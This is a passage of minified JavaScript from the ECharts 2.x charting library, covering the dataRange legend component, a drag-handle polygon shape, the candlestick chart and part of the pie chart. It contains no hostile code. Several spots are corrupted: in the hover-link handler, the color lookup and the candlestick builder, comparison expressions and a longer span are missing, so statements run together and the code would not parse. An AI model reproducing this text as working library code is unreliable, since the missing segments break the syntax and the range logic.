,s=V+d+c/2,l={x:m+U,y:V+d,width:u+c,height:c}):(e=[[m+U,V],[m-c,V],[m-c,V-c],[m,V-1],[m+U,V-1]],t=m-u/2-c/2,i=V-c/2,n={x:m-u-c,y:V-c,width:u+c,height:c},a=[[m+U,V+d],[m-c,V+d],[m-c,V+c+d],[m,V+1+d],[m+U,V+d+1]],r=t,s=V+d+c/2,l={x:m-u-c,y:V+d,width:u+c,height:c})),this._startShape={style:{pointList:e,text:this._textFormat(this.dataRangeOption.max),textX:t,textY:i,textFont:p,color:this.getColor(this.dataRangeOption.max),rect:n,x:e[0][0],y:e[0][1],_x:e[0][0],_y:e[0][1]}},this._startShape.highlightStyle={strokeColor:this._startShape.style.color,lineWidth:1},this._endShape={style:{pointList:a,text:this._textFormat(this.dataRangeOption.min),textX:r,textY:s,textFont:p,color:this.getColor(this.dataRangeOption.min),rect:l,x:a[0][0],y:a[0][1],_x:a[0][0],_y:a[0][1]}},this._endShape.highlightStyle={strokeColor:this._endShape.style.color,lineWidth:1},this._startShape.zlevel=this._endShape.zlevel=this.getZlevelBase(),this._startShape.z=this._endShape.z=this.getZBase()+1,this._startShape.draggable=this._endShape.draggable=!0,this._startShape.ondrift=this._endShape.ondrift=this._ondrift,this._startShape.ondragend=this._endShape.ondragend=this._ondragend,this._startShape.style.textColor=this._endShape.style.textColor=this.dataRangeOption.textStyle.color,this._startShape.style.textAlign=this._endShape.style.textAlign="center",this._startShape.style.textPosition=this._endShape.style.textPosition="specific",this._startShape.style.textBaseline=this._endShape.style.textBaseline="middle",this._startShape.style.width=this._endShape.style.width=0,this._startShape.style.height=this._endShape.style.height=0,this._startShape.style.textPosition=this._endShape.style.textPosition="specific",this._startShape=new o(this._startShape),this._endShape=new o(this._endShape),this.shapeList.push(this._startShape),this.shapeList.push(this._endShape)},_bulidMask:function(){var e=this._calculableLocation.x,t=this._calculableLocation.y,i=this._calculableLocation.width,n=this._calculableLocation.height;this._startMask={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{x:e,y:t,width:"horizontal"==this.dataRangeOption.orient?0:i,height:"horizontal"==this.dataRangeOption.orient?n:0,color:"#ccc"},hoverable:!1},this._endMask={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{x:"horizontal"==this.dataRangeOption.orient?e+i:e,y:"horizontal"==this.dataRangeOption.orient?t:t+n,width:"horizontal"==this.dataRangeOption.orient?0:i,height:"horizontal"==this.dataRangeOption.orient?n:0,color:"#ccc"},hoverable:!1},this._startMask=new a(this._startMask),this._endMask=new a(this._endMask),this.shapeList.push(this._startMask),this.shapeList.push(this._endMask)},_buildBackground:function(){var e=this.reformCssArray(this.dataRangeOption.padding);this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.dataRangeOption.borderWidth?"fill":"both",color:this.dataRangeOption.backgroundColor,strokeColor:this.dataRangeOption.borderColor,lineWidth:this.dataRangeOption.borderWidth}}))},_getItemGroupLocation:function(){var e=this._valueTextList,t=e.length,i=this.dataRangeOption.itemGap,n=this.dataRangeOption.itemWidth,a=this.dataRangeOption.itemHeight,o=0,r=0,s=this.getFont(this.dataRangeOption.textStyle),l=h.getTextHeight("国",s),m=10;if("horizontal"==this.dataRangeOption.orient){if(this.dataRangeOption.text||this._isContinuity())o=(this._isContinuity()?n*m+i:t*(n+i))+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[0]?h.getTextWidth(this.dataRangeOption.text[0],s)+this._textGap:0)+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[1]?h.getTextWidth(this.dataRangeOption.text[1],s)+this._textGap:0);else{n+=5;for(var V=0;t>V;V++)o+=n+h.getTextWidth(e[V],s)+i}o-=i,r=Math.max(l,a)}else{var U;if(this.dataRangeOption.text||this._isContinuity())r=(this._isContinuity()?a*m+i:t*(a+i))+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[0]?this._textGap+l:0)+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[1]?this._textGap+l:0),U=Math.max(h.getTextWidth(this.dataRangeOption.text&&this.dataRangeOption.text[0]||"",s),h.getTextWidth(this.dataRangeOption.text&&this.dataRangeOption.text[1]||"",s)),o=Math.max(n,U);else{r=(a+i)*t,n+=5,U=0;for(var V=0;t>V;V++)U=Math.max(U,h.getTextWidth(e[V],s));o=n+U}r-=i}var d,p=this.reformCssArray(this.dataRangeOption.padding),c=this.zr.getWidth();switch(this.dataRangeOption.x){case"center":d=Math.floor((c-o)/2);break;case"left":d=p[3]+this.dataRangeOption.borderWidth;break;case"right":d=c-o-p[1]-this.dataRangeOption.borderWidth;break;default:d=this.parsePercent(this.dataRangeOption.x,c),d=isNaN(d)?0:d}var u,y=this.zr.getHeight();switch(this.dataRangeOption.y){case"top":u=p[0]+this.dataRangeOption.borderWidth;break;case"bottom":u=y-r-p[2]-this.dataRangeOption.borderWidth;break;case"center":u=Math.floor((y-r)/2);break;default:u=this.parsePercent(this.dataRangeOption.y,y),u=isNaN(u)?0:u}if(this.dataRangeOption.calculable){var g=Math.max(h.getTextWidth(this.dataRangeOption.max,s),h.getTextWidth(this.dataRangeOption.min,s))+l;"horizontal"==this.dataRangeOption.orient?(g>d&&(d=g),d+o+g>c&&(d-=g)):(l>u&&(u=l),u+r+l>y&&(u-=l))}return{x:d,y:u,width:o,height:r}},_getTextShape:function(e,t,i){return{zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:"horizontal"==this.dataRangeOption.orient?e:this._itemGroupLocation.x+this._itemGroupLocation.width/2,y:"horizontal"==this.dataRangeOption.orient?this._itemGroupLocation.y+this._itemGroupLocation.height/2:t,color:this.dataRangeOption.textStyle.color,text:i,textFont:this.getFont(this.dataRangeOption.textStyle),textBaseline:"horizontal"==this.dataRangeOption.orient?"middle":"top",textAlign:"horizontal"==this.dataRangeOption.orient?"left":"center"},hoverable:!1}},_getItemShape:function(e,t,i,n,a){return{zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:e,y:t+1,width:i,height:n-2,color:a},highlightStyle:{strokeColor:a,lineWidth:1}}},__ondrift:function(e,t,i){var n=this._calculableLocation.x,a=this._calculableLocation.y,o=this._calculableLocation.width,r=this._calculableLocation.height;return"horizontal"==this.dataRangeOption.orient?e.style.x+t<=n?e.style.x=n:e.style.x+t+e.style.width>=n+o?e.style.x=n+o-e.style.width:e.style.x+=t:e.style.y+i<=a?e.style.y=a:e.style.y+i+e.style.height>=a+r?e.style.y=a+r-e.style.height:e.style.y+=i,"filler"==e._type?this._syncHandleShape():this._syncFillerShape(e),this.dataRangeOption.realtime&&this._dispatchDataRange(),!0},__ondragend:function(){this.isDragend=!0},ondragend:function(e,t){this.isDragend&&e.target&&(t.dragOut=!0,t.dragIn=!0,this.dataRangeOption.realtime||this._dispatchDataRange(),t.needRefresh=!1,this.isDragend=!1)},_syncShapeFromRange:function(){var e=this.dataRangeOption.range||{},t=e.start,i=e.end;if(t>i&&(t=[i,i=t][0]),this._range.end=null!=t?t:null!=this._range.end?this._range.end:0,this._range.start=null!=i?i:null!=this._range.start?this._range.start:100,100!=this._range.start||0!==this._range.end){if("horizontal"==this.dataRangeOption.orient){var n=this._fillerShape.style.width;this._fillerShape.style.x+=n*(100-this._range.start)/100,this._fillerShape.style.width=n*(this._range.start-this._range.end)/100}else{var a=this._fillerShape.style.height;this._fillerShape.style.y+=a*(100-this._range.start)/100,this._fillerShape.style.height=a*(this._range.start-this._range.end)/100}this.zr.modShape(this._fillerShape.id),this._syncHandleShape()}},_syncHandleShape:function(){var e=this._calculableLocation.x,t=this._calculableLocation.y,i=this._calculableLocation.width,n=this._calculableLocation.height;"horizontal"==this.dataRangeOption.orient?(this._startShape.style.x=this._fillerShape.style.x,this._startMask.style.width=this._startShape.style.x-e,this._endShape.style.x=this._fillerShape.style.x+this._fillerShape.style.width,this._endMask.style.x=this._endShape.style.x,this._endMask.style.width=e+i-this._endShape.style.x,this._range.start=Math.ceil(100-(this._startShape.style.x-e)/i*100),this._range.end=Math.floor(100-(this._endShape.style.x-e)/i*100)):(this._startShape.style.y=this._fillerShape.style.y,this._startMask.style.height=this._startShape.style.y-t,this._endShape.style.y=this._fillerShape.style.y+this._fillerShape.style.height,this._endMask.style.y=this._endShape.style.y,this._endMask.style.height=t+n-this._endShape.style.y,this._range.start=Math.ceil(100-(this._startShape.style.y-t)/n*100),this._range.end=Math.floor(100-(this._endShape.style.y-t)/n*100)),this._syncShape()},_syncFillerShape:function(e){var t,i,n=this._calculableLocation.x,a=this._calculableLocation.y,o=this._calculableLocation.width,r=this._calculableLocation.height;"horizontal"==this.dataRangeOption.orient?(t=this._startShape.style.x,i=this._endShape.style.x,e.id==this._startShape.id&&t>=i?(i=t,this._endShape.style.x=t):e.id==this._endShape.id&&t>=i&&(t=i,this._startShape.style.x=t),this._fillerShape.style.x=t,this._fillerShape.style.width=i-t,this._startMask.style.width=t-n,this._endMask.style.x=i,this._endMask.style.width=n+o-i,this._range.start=Math.ceil(100-(t-n)/o*100),this._range.end=Math.floor(100-(i-n)/o*100)):(t=this._startShape.style.y,i=this._endShape.style.y,e.id==this._startShape.id&&t>=i?(i=t,this._endShape.style.y=t):e.id==this._endShape.id&&t>=i&&(t=i,this._startShape.style.y=t),this._fillerShape.style.y=t,this._fillerShape.style.height=i-t,this._startMask.style.height=t-a,this._endMask.style.y=i,this._endMask.style.height=a+r-i,this._range.start=Math.ceil(100-(t-a)/r*100),this._range.end=Math.floor(100-(i-a)/r*100)),this._syncShape()},_syncShape:function(){this._startShape.position=[this._startShape.style.x-this._startShape.style._x,this._startShape.style.y-this._startShape.style._y],this._startShape.style.text=this._textFormat(this._gap*this._range.start+this.dataRangeOption.min),this._startShape.style.color=this._startShape.highlightStyle.strokeColor=this.getColor(this._gap*this._range.start+this.dataRangeOption.min),this._endShape.position=[this._endShape.style.x-this._endShape.style._x,this._endShape.style.y-this._endShape.style._y],this._endShape.style.text=this._textFormat(this._gap*this._range.end+this.dataRangeOption.min),this._endShape.style.color=this._endShape.highlightStyle.strokeColor=this.getColor(this._gap*this._range.end+this.dataRangeOption.min),this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this.zr.modShape(this._startMask.id),this.zr.modShape(this._endMask.id),this.zr.modShape(this._fillerShape.id),this.zr.refreshNextFrame()},_dispatchDataRange:function(){this.messageCenter.dispatch(r.EVENT.DATA_RANGE,null,{range:{start:this._range.end,end:this._range.start}},this.myChart)},__dataRangeSelected:function(e){if("single"===this.dataRangeOption.selectedMode)for(var t in this._selectedMap)this._selectedMap[t]=!1;var i=e.target._idx;this._selectedMap[i]=!this._selectedMap[i];var n,a;this._useCustomizedSplit()?(n=this._splitList[i].max,a=this._splitList[i].min):(n=(this._colorList.length-i)*this._gap+this.dataRangeOption.min,a=n-this._gap),this.messageCenter.dispatch(r.EVENT.DATA_RANGE_SELECTED,e.event,{selected:this._selectedMap,target:i,valueMax:n,valueMin:a},this.myChart),this.messageCenter.dispatch(r.EVENT.REFRESH,null,null,this.myChart)},__dispatchHoverLink:function(e){var t,i;if(this.dataRangeOption.calculable){var n,a=this.dataRangeOption.max-this.dataRangeOption.min;n="horizontal"==this.dataRangeOption.orient?(1-(l.getX(e.event)-this._calculableLocation.x)/this._calculableLocation.width)*a:(1-(l.getY(e.event)-this._calculableLocation.y)/this._calculableLocation.height)*a,t=n-.05*a,i=n+.05*a}else if(this._useCustomizedSplit()){var o=e.target._idx;i=this._splitList[o].max,t=this._splitList[o].min}else{var o=e.target._idx;i=(this._colorList.length-o)*this._gap+this.dataRangeOption.min,t=i-this._gap}this.messageCenter.dispatch(r.EVENT.DATA_RANGE_HOVERLINK,e.event,{valueMin:t,valueMax:i},this.myChart)},__onhoverlink:function(e){if(this.dataRangeOption.show&&this.dataRangeOption.hoverLink&&this._indicatorShape&&e&&null!=e.seriesIndex&&null!=e.dataIndex){var t=e.value;if(""===t||isNaN(t))return;tthis.dataRangeOption.max&&(t=this.dataRangeOption.max),this._indicatorShape.position="horizontal"==this.dataRangeOption.orient?[(this.dataRangeOption.max-t)/(this.dataRangeOption.max-this.dataRangeOption.min)*this._calculableLocation.width,0]:[0,(this.dataRangeOption.max-t)/(this.dataRangeOption.max-this.dataRangeOption.min)*this._calculableLocation.height],this._indicatorShape.style.text=this._textFormat(e.value),this._indicatorShape.style.color=this.getColor(t),this.zr.addHoverShape(this._indicatorShape)}},_textFormat:function(e,t){var i=this.dataRangeOption;if(e!==-Number.MAX_VALUE&&(e=(+e).toFixed(i.precision)),null!=t&&t!==Number.MAX_VALUE&&(t=(+t).toFixed(i.precision)),i.formatter){if("string"==typeof i.formatter)return i.formatter.replace("{value}",e===-Number.MAX_VALUE?"min":e).replace("{value2}",t===Number.MAX_VALUE?"max":t);if("function"==typeof i.formatter)return i.formatter.call(this.myChart,e,t)}return null==t?e:e===-Number.MAX_VALUE?"< "+t:t===Number.MAX_VALUE?"> "+e:e+" - "+t},_isContinuity:function(){var e=this.dataRangeOption;return!(e.splitList?e.splitList.length>0:e.splitNumber>0)||e.calculable},_useCustomizedSplit:function(){var e=this.dataRangeOption;return e.splitList&&e.splitList.length>0},_buildColorList:function(e){if(this._colorList=m.getGradientColors(this.dataRangeOption.color,Math.max((e-this.dataRangeOption.color.length)/(this.dataRangeOption.color.length-1),0)+1),this._colorList.length>e){for(var t=this._colorList.length,i=[this._colorList[0]],n=t/(e-1),a=1;e-1>a;a++)i.push(this._colorList[Math.floor(a*n)]);i.push(this._colorList[t-1]),this._colorList=i}if(this._useCustomizedSplit())for(var o=this._splitList,a=0,t=o.length;t>a;a++)o[a].color&&(this._colorList[a]=o[a].color)},_buildGap:function(e){if(!this._useCustomizedSplit()){var t=this.dataRangeOption.precision;for(this._gap=(this.dataRangeOption.max-this.dataRangeOption.min)/e;this._gap.toFixed(t)-0!=this._gap&&5>t;)t++;this.dataRangeOption.precision=t,this._gap=((this.dataRangeOption.max-this.dataRangeOption.min)/e).toFixed(t)-0}},_buildDataList:function(e){for(var t=this._valueTextList=[],i=this.dataRangeOption,n=this._useCustomizedSplit(),a=0;e>a;a++){this._selectedMap[a]=!0;var o="";if(n){var r=this._splitList[e-1-a];o=null!=r.label?r.label:null!=r.single?this._textFormat(r.single):this._textFormat(r.min,r.max)}else o=this._textFormat(a*this._gap+i.min,(a+1)*this._gap+i.min);t.unshift(o)}},_buildSplitList:function(){if(this._useCustomizedSplit())for(var e=this.dataRangeOption.splitList,t=this._splitList=[],i=0,n=e.length;n>i;i++){var a=e[i];if(!a||null==a.start&&null==a.end)throw new Error("Empty item exists in splitList!");var o={label:a.label,color:a.color};o.min=a.start,o.max=a.end,o.min>o.max&&(o.min=[o.max,o.max=o.min][0]),o.min===o.max&&(o.single=o.max),null==o.min&&(o.min=-Number.MAX_VALUE),null==o.max&&(o.max=Number.MAX_VALUE),t.push(o)}},refresh:function(e){if(e){this.option=e,this.option.dataRange=this.reformOption(this.option.dataRange);var t=this.dataRangeOption=this.option.dataRange;if(!this._useCustomizedSplit()&&(null==t.min||null==t.max))throw new Error("option.dataRange.min or option.dataRange.max has not been defined.");this.myChart.canvasSupported||(t.realtime=!1);var i=this._isContinuity()?100:this._useCustomizedSplit()?t.splitList.length:t.splitNumber;this._buildSplitList(),this._buildColorList(i),this._buildGap(i),this._buildDataList(i)}this.clear(),this._buildShape()},getColor:function(e){if(isNaN(e))return null;var t;if(this._useCustomizedSplit()){for(var i=this._splitList,n=0,a=i.length;a>n;n++)if(i[n].min<=e&&i[n].max>=e){t=n;break}}else{if(this.dataRangeOption.min==this.dataRangeOption.max)return this._colorList[0];if(ethis.dataRangeOption.max&&(e=this.dataRangeOption.max),this.dataRangeOption.calculable&&(e-(this._gap*this._range.start+this.dataRangeOption.min)>5e-5||e-(this._gap*this._range.end+this.dataRangeOption.min)<-5e-5))return null;t=this._colorList.length-Math.ceil((e-this.dataRangeOption.min)/(this.dataRangeOption.max-this.dataRangeOption.min)*this._colorList.length),t==this._colorList.length&&t--}return this._selectedMap[t]?this._colorList[t]:null},getColorByIndex:function(e){return e>=this._colorList.length?e=this._colorList.length-1:0>e&&(e=0),this._colorList[e]},onbeforDispose:function(){this.messageCenter.unbind(r.EVENT.HOVER,this._onhoverlink)}},s.inherits(t,i),e("../component").define("dataRange",t),t}),i("echarts/util/shape/HandlePolygon",["require","zrender/shape/Base","zrender/shape/Polygon","zrender/tool/util"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/Polygon"),a=e("zrender/tool/util");return t.prototype={type:"handle-polygon",buildPath:function(e,t){n.prototype.buildPath(e,t)},isCover:function(e,t){var i=this.transformCoordToLocal(e,t);e=i[0],t=i[1];var n=this.style.rect;return e>=n.x&&e<=n.x+n.width&&t>=n.y&&t<=n.y+n.height?!0:!1}},a.inherits(t,i),t}),i("echarts/chart/k",["require","./base","../util/shape/Candle","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","zrender/tool/util","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("../util/shape/Candle");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var a=e("../config");a.k={zlevel:0,z:2,clickable:!0,hoverable:!0,legendHoverLink:!1,xAxisIndex:0,yAxisIndex:0,itemStyle:{normal:{color:"#fff",color0:"#00aa11",lineStyle:{width:1,color:"#ff3200",color0:"#00aa11"},label:{show:!1}},emphasis:{label:{show:!1}}}};var o=e("../util/ecData"),r=e("zrender/tool/util");return t.prototype={type:a.CHART_TYPE_K,_buildShape:function(){var e=this.series;this.selectedMap={};for(var t,i={top:[],bottom:[]},n=0,o=e.length;o>n;n++)e[n].type===a.CHART_TYPE_K&&(e[n]=this.reformOption(e[n]),this.legendHoverLink=e[n].legendHoverLink||this.legendHoverLink,t=this.component.xAxis.getAxis(e[n].xAxisIndex),t.type===a.COMPONENT_TYPE_AXIS_CATEGORY&&i[t.getPosition()].push(n));for(var r in i)i[r].length>0&&this._buildSinglePosition(r,i[r]);this.addShapeList()},_buildSinglePosition:function(e,t){var i=this._mapData(t),n=i.locationMap,a=i.maxDataLength;if(0!==a&&0!==n.length){this._buildHorizontal(t,a,n);for(var o=0,r=t.length;r>o;o++)this.buildMark(t[o])}},_mapData:function(e){for(var t,i,n=this.series,a=this.component.legend,o=[],r=0,s=0,l=e.length;l>s;s++)t=n[e[s]],i=t.name,this.selectedMap[i]=a?a.isSelected(i):!0,this.selectedMap[i]&&o.push(e[s]),r=Math.max(r,t.data.length);return{locationMap:o,maxDataLength:r}},_buildHorizontal:function(e,t,i){for(var n,a,o,r,s,l,h,m,V,U,d=this.series,p={},c=0,u=i.length;u>c;c++){n=i[c],a=d[n],o=a.xAxisIndex||0,r=this.component.xAxis.getAxis(o),h=a.barWidth||Math.floor(r.getGap()/2),U=a.barMaxWidth,U&&h>U&&(h=U),s=a.yAxisIndex||0,l=this.component.yAxis.getAxis(s),p[n]=[];for(var y=0,g=t;g>y&&null!=r.getNameByIndex(y);y++)m=a.data[y],V=this.getDataFromOption(m,"-"),"-"!==V&&4==V.length&&p[n].push([r.getCoordByIndex(y),h,l.getCoord(V[0]),l.getCoord(V[1]),l.getCoord(V[2]),l.getCoord(V[3]),y,r.getNameByIndex(y)])}this._buildKLine(e,p)},_buildKLine:function(e,t){for(var i,n,o,r,s,l,h,m,V,U,d,p,c,u,y,g,b,f=this.series,k=0,x=e.length;x>k;k++)if(b=e[k],d=f[b],u=t[b],this._isLarge(u)&&(u=this._getLargePointList(u)),d.type===a.CHART_TYPE_K&&null!=u){p=d,i=this.query(p,"itemStyle.normal.lineStyle.width"),n=this.query(p,"itemStyle.normal.lineStyle.color"),o=this.query(p,"itemStyle.normal.lineStyle.color0"),r=this.query(p,"itemStyle.normal.color"),s=this.query(p,"itemStyle.normal.color0"),l=this.query(p,"itemStyle.emphasis.lineStyle.width"),h=this.query(p,"itemStyle.emphasis.lineStyle.color"),m=this.query(p,"itemStyle.emphasis.lineStyle.color0"),V=this.query(p,"itemStyle.emphasis.color"),U=this.query(p,"itemStyle.emphasis.color0");for(var _=0,L=u.length;L>_;_++)y=u[_],c=d.data[y[6]],p=c,g=y[3]a;a++)n[a]=e[Math.floor(i/t*a)];return n},_getCandle:function(e,t,i,a,r,s,l,h,m,V,U,d,p,c,u){var y=this.series,g=y[e],b=g.data[t],f=[b,g],k={zlevel:g.zlevel,z:g.z,clickable:this.deepQuery(f,"clickable"),hoverable:this.deepQuery(f,"hoverable"),style:{x:a,y:[s,l,h,m],width:r,color:V,strokeColor:d,lineWidth:U,brushType:"both"},highlightStyle:{color:p,strokeColor:u,lineWidth:c},_seriesIndex:e};return k=this.addLabel(k,g,b,i),o.pack(k,g,e,b,t,i),k=new n(k)},getMarkCoord:function(e,t){var i=this.series[e],n=this.component.xAxis.getAxis(i.xAxisIndex),a=this.component.yAxis.getAxis(i.yAxisIndex);return["string"!=typeof t.xAxis&&n.getCoordByIndex?n.getCoordByIndex(t.xAxis||0):n.getCoord(t.xAxis||0),"string"!=typeof t.yAxis&&a.getCoordByIndex?a.getCoordByIndex(t.yAxis||0):a.getCoord(t.yAxis||0)]},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},addDataAnimation:function(e,t){function i(){p--,0===p&&t&&t()}for(var n=this.series,a={},r=0,s=e.length;s>r;r++)a[e[r][0]]=e[r];for(var l,h,m,V,U,d,p=0,r=0,s=this.shapeList.length;s>r;r++)if(U=this.shapeList[r]._seriesIndex,a[U]&&!a[U][3]&&"candle"===this.shapeList[r].type){if(d=o.get(this.shapeList[r],"dataIndex"),V=n[U],a[U][2]&&d===V.data.length-1){this.zr.delShape(this.shapeList[r].id);continue}if(!a[U][2]&&0===d){this.zr.delShape(this.shapeList[r].id);continue}h=this.component.xAxis.getAxis(V.xAxisIndex||0).getGap(),l=a[U][2]?h:-h,m=0,p++,this.zr.animate(this.shapeList[r].id,"").when(this.query(this.option,"animationDurationUpdate"),{position:[l,m]}).done(i).start()}p||t&&t()}},r.inherits(t,i),e("../chart").define("k",t),t}),i("echarts/chart/pie",["require","./base","zrender/shape/Text","zrender/shape/Ring","zrender/shape/Circle","zrender/shape/Sector","zrender/shape/Polyline","../config","../util/ecData","zrender/tool/util","zrender/tool/math","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r.shapeHandler.onmouseover=function(e){var t=e.target,i=h.get(t,"seriesIndex"),n=h.get(t,"dataIndex"),a=h.get(t,"special"),o=[t.style.x,t.style.y],s=t.style.startAngle,l=t.style.endAngle,m=((l+s)/2+360)%360,V=t.highlightStyle.color,U=r.getLabel(i,n,a,o,m,V,!0);U&&r.zr.addHoverShape(U);var d=r.getLabelLine(i,n,o,t.style.r0,t.style.r,m,V,!0);d&&r.zr.addHoverShape(d)},this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Ring"),o=e("zrender/shape/Circle"),r=e("zrender/shape/Sector"),s=e("zrender/shape/Polyline"),l=e("../config");l.pie={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,center:["50%","50%"],radius:[0,"75%"],clockWise:!0,startAngle:90,minAngle:0,selectedOffset:10,itemStyle:{normal:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0,position:"outer"},labelLine:{show:!0,length:20,lineStyle:{width:1,type:"solid"}}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!1},labelLine:{show:!1,length:20,lineStyle:{width:1,type:"solid"}}}}};var h=e("../util/ecData"),m=e("zrender/tool/util"),V=e("zrender/tool/math"),U=e("zrender/tool/color");return t.prototype={type:l.CHART_TYPE_PIE,_buildShape:function(){var e=this.series,t=this.component.legend;this.selectedMap={},this._selected={};var i,n,r;this._selectedMode=!1;for(var s,m=0,V=e.length;V>m;m++)if(e[m].type===l.CHART_TYPE_PIE){if(e[m]=this.reformOption(e[m]),this.legendHoverLink=e[m].legendHoverLink||this.legendHoverLink,s=e[m].name||"",this.selectedMap[s]=t?t.isSelected(s):!0,!this.selectedMap[s])continue;i=this.parseCenter(this.zr,e[m].center),n=this.parseRadius(this.zr,e[m].radius),this._selectedMode=this._selectedMode||e[m].selectedMode,this._selected[m]=[],this.deepQuery([e[m],this.option],"calculable")&&(r={zlevel:e[m].zlevel,z:e[m].z,hoverable:!1,style:{x:i[0],y:i[1],r0:n[0]<=10?0:n[0]-10,r:n[1]+10,brushType:"stroke",lineWidth:1,strokeColor:e[m].calculableHolderColor||this.ecTheme.calculableHolderColor||l.calculableHolderColor}},h.pack(r,e[m],m,void 0,-1),this.setCalculable(r),r=n[0]<=10?new o(r):new a(r),this.shapeList.push(r)),this._buildSinglePie(m),this.buildMark(m)}this.addShapeList()},_buildSinglePie:function(e){for(var t,i=this.series,n=i[e],a=n.data,o=this.component.legend,r=0,s=0,l=0,h=Number.NEGATIVE_INFINITY,m=[],V=0,U=a.length;U>V;V++)t=a[V].name, +this.selectedMap[t]=o?o.isSelected(t):!0,this.selectedMap[t]&&!isNaN(a[V].value)&&(0!==+a[V].value?r++:s++,l+=+a[V].value,h=Math.max(h,+a[V].value));if(0!==l){for(var d,p,c,u,y,g,b=100,f=n.clockWise,k=(n.startAngle.toFixed(2)-0+360)%360,x=n.minAngle||.01,_=360-x*r-.01*s,L=n.roseType,V=0,U=a.length;U>V;V++)if(t=a[V].name,this.selectedMap[t]&&!isNaN(a[V].value)){if(p=o?o.getColor(t):this.zr.getColor(V),b=a[V].value/l,d="area"!=L?f?k-b*_-(0!==b?x:.01):b*_+k+(0!==b?x:.01):f?k-360/U:360/U+k,d=d.toFixed(2)-0,b=(100*b).toFixed(2),c=this.parseCenter(this.zr,n.center),u=this.parseRadius(this.zr,n.radius),y=+u[0],g=+u[1],"radius"===L?g=a[V].value/h*(g-y)*.8+.2*(g-y)+y:"area"===L&&(g=Math.sqrt(a[V].value/h)*(g-y)+y),f){var W;W=k,k=d,d=W}this._buildItem(m,e,V,b,a[V].selected,c,y,g,k,d,p),f||(k=d)}this._autoLabelLayout(m,c,g);for(var V=0,U=m.length;U>V;V++)this.shapeList.push(m[V]);m=null}},_buildItem:function(e,t,i,n,a,o,r,s,l,m,V){var U=this.series,d=((m+l)/2+360)%360,p=this.getSector(t,i,n,a,o,r,s,l,m,V);h.pack(p,U[t],t,U[t].data[i],i,U[t].data[i].name,n),e.push(p);var c=this.getLabel(t,i,n,o,d,V,!1),u=this.getLabelLine(t,i,o,r,s,d,V,!1);u&&(h.pack(u,U[t],t,U[t].data[i],i,U[t].data[i].name,n),e.push(u)),c&&(h.pack(c,U[t],t,U[t].data[i],i,U[t].data[i].name,n),c._labelLine=u,e.push(c))},getSector:function(e,t,i,n,a,o,s,l,h,m){var d=this.series,p=d[e],c=p.data[t],u=[c,p],y=this.deepMerge(u,"itemStyle.normal")||{},g=this.deepMerge(u,"itemStyle.emphasis")||{},b=this.getItemStyleColor(y.color,e,t,c)||m,f=this.getItemStyleColor(g.color,e,t,c)||("string"==typeof b?U.lift(b,-.2):b),k={zlevel:p.zlevel,z:p.z,clickable:this.deepQuery(u,"clickable"),style:{x:a[0],y:a[1],r0:o,r:s,startAngle:l,endAngle:h,brushType:"both",color:b,lineWidth:y.borderWidth,strokeColor:y.borderColor,lineJoin:"round"},highlightStyle:{color:f,lineWidth:g.borderWidth,strokeColor:g.borderColor,lineJoin:"round"},_seriesIndex:e,_dataIndex:t};if(n){var x=((k.style.startAngle+k.style.endAngle)/2).toFixed(2)-0;k.style._hasSelected=!0,k.style._x=k.style.x,k.style._y=k.style.y;var _=this.query(p,"selectedOffset");k.style.x+=V.cos(x,!0)*_,k.style.y-=V.sin(x,!0)*_,this._selected[e][t]=!0}else this._selected[e][t]=!1;return this._selectedMode&&(k.onclick=this.shapeHandler.onclick),this.deepQuery([c,p,this.option],"calculable")&&(this.setCalculable(k),k.draggable=!0),(this._needLabel(p,c,!0)||this._needLabelLine(p,c,!0))&&(k.onmouseover=this.shapeHandler.onmouseover),k=new r(k)},getLabel:function(e,t,i,a,o,r,s){var l=this.series,h=l[e],U=h.data[t];if(this._needLabel(h,U,s)){var d,p,c,u=s?"emphasis":"normal",y=m.merge(m.clone(U.itemStyle)||{},h.itemStyle),g=y[u].label,b=g.textStyle||{},f=a[0],k=a[1],x=this.parseRadius(this.zr,h.radius),_="middle";g.position=g.position||y.normal.label.position,"center"===g.position?(d=f,p=k,c="center"):"inner"===g.position||"inside"===g.position?(x=(x[0]+x[1])*(g.distance||.5),d=Math.round(f+x*V.cos(o,!0)),p=Math.round(k-x*V.sin(o,!0)),r="#fff",c="center"):(x=x[1]- -y[u].labelLine.length,d=Math.round(f+x*V.cos(o,!0)),p=Math.round(k-x*V.sin(o,!0)),c=o>=90&&270>=o?"right":"left"),"center"!=g.position&&"inner"!=g.position&&"inside"!=g.position&&(d+="left"===c?20:-20),U.__labelX=d-("left"===c?5:-5),U.__labelY=p;var L=new n({zlevel:h.zlevel,z:h.z+1,hoverable:!1,style:{x:d,y:p,color:b.color||r,text:this.getLabelText(e,t,i,u),textAlign:b.align||c,textBaseline:b.baseline||_,textFont:this.getFont(b)},highlightStyle:{brushType:"fill"}});return L._radius=x,L._labelPosition=g.position||"outer",L._rect=L.getRect(L.style),L._seriesIndex=e,L._dataIndex=t,L}},getLabelText:function(e,t,i,n){var 